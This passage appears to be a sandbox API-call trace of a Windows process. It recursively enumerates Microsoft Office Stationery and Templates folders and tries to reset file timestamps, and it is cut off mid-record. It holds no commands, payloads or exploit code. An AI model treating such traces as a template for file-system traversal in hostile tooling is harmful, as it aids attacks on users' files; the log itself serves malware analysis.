[0079.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc1d0 [0079.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.788] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2600900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2600900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEAMARBL.HTM", cAlternateFileName="")) returned 1 [0079.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.788] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2e70 [0079.788] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc258 [0079.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.789] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1889, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEAMARBL.JPG", cAlternateFileName="")) returned 1 [0079.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.789] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2e90 [0079.789] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc2e0 [0079.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.790] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8d1900, ftCreationTime.dwHighDateTime=0x1c02f19, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a8d1900, ftLastWriteTime.dwHighDateTime=0x1c02f19, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.GIF", cAlternateFileName="")) returned 1 [0079.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.790] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2eb0 [0079.790] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc368 [0079.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.791] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc99e700, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc99e700, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 1 [0079.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.791] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb9d8 [0079.791] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f2ed0 [0079.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fc3f0 [0079.792] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5ac0) returned 0x122ed78 [0079.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12292f0) returned 1 [0079.792] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb9d8) returned 1 [0079.792] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc99e700, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc99e700, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 0 [0079.792] GetLastError () returned 0x12 [0079.792] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Stationery\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9040 [0079.792] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0079.792] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.792] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x176f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.GIF", cAlternateFileName="")) returned 1 [0079.792] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7886800, ftCreationTime.dwHighDateTime=0x1c05f78, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7886800, ftLastWriteTime.dwHighDateTime=0x1c05f78, nFileSizeHigh=0x0, nFileSizeLow=0x224, dwReserved0=0x0, dwReserved1=0x0, cFileName="CURRENCY.HTM", cAlternateFileName="")) returned 1 [0079.792] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x460d6f00, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x460d6f00, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.GIF", cAlternateFileName="")) returned 1 [0079.792] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a1a8100, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a1a8100, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e3, dwReserved0=0x0, dwReserved1=0x0, cFileName="DADSHIRT.HTM", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x486fc900, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x486fc900, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xd36, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.GIF", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33233200, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33233200, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUDGESCH.HTM", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49a0f600, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x49a0f600, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xfc7, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.GIF", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48985c00, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x48985c00, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="JUNGLE.HTM", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e3d4500, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e3d4500, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.HTM", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0xb86, dwReserved0=0x0, dwReserved1=0x0, cFileName="NOTEBOOK.JPG", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ad22300, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ad22300, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1202, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.GIF", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa331b800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa331b800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFISUPP.HTM", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfead0800, ftCreationTime.dwHighDateTime=0x1bdaedd, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfead0800, ftLastWriteTime.dwHighDateTime=0x1bdaedd, nFileSizeHigh=0x0, nFileSizeLow=0x45b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.GIF", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc3a6900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc3a6900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAWPRINT.HTM", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9575800, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc9575800, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.HTM", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x371bc00, ftCreationTime.dwHighDateTime=0x1bdaede, ftLastAccessTime.dwLowDateTime=0x14d5170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x371bc00, ftLastWriteTime.dwHighDateTime=0x1bdaede, nFileSizeHigh=0x0, nFileSizeLow=0xf8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="PINELUMB.JPG", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2600900, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe2600900, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEAMARBL.HTM", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50c80400, ftCreationTime.dwHighDateTime=0x1bdcbd5, ftLastAccessTime.dwLowDateTime=0x206fcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50c80400, ftLastWriteTime.dwHighDateTime=0x1bdcbd5, nFileSizeHigh=0x0, nFileSizeLow=0x1889, dwReserved0=0x0, dwReserved1=0x0, cFileName="SEAMARBL.JPG", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a8d1900, ftCreationTime.dwHighDateTime=0x1c02f19, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a8d1900, ftLastWriteTime.dwHighDateTime=0x1c02f19, nFileSizeHigh=0x0, nFileSizeLow=0x81a, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.GIF", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc99e700, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc99e700, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 1 [0079.793] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc99e700, ftCreationTime.dwHighDateTime=0x1c05f79, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc99e700, ftLastWriteTime.dwHighDateTime=0x1c05f79, nFileSizeHigh=0x0, nFileSizeLow=0x1da, dwReserved0=0x0, dwReserved1=0x0, cFileName="TECHTOOL.HTM", cAlternateFileName="")) returned 0 [0079.793] GetLastError () returned 0x12 [0079.793] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb950) returned 1 [0079.793] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0079.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb6a8) returned 1 [0079.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb7b8) returned 1 [0079.794] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebb910, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0079.794] GetLastError () returned 0x12 [0079.794] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fb730) returned 1 [0079.794] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0079.795] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0079.795] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0079.795] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0079.795] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates" (normalized: "c:\\program files\\microsoft office\\templates"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0079.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates" (normalized: "c:\\program files\\microsoft office\\templates"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0079.796] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0079.796] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11fe6e0 [0079.796] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11fe6e0, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x11fe6e0, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0079.796] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11fe6e0) returned 1 [0079.796] NtClose (Handle=0x174) returned 0x0 [0079.797] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa25520) returned 1 [0079.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa25520 [0079.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0079.797] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x11fb730 [0079.797] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f80 [0079.797] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.797] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0079.797] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="")) returned 1 [0079.797] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x696f1810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x696f1810, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Presentation Designs", cAlternateFileName="")) returned 0 [0079.797] GetLastError () returned 0x12 [0079.797] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9040 [0079.797] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0079.797] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf59f9270, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.797] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, 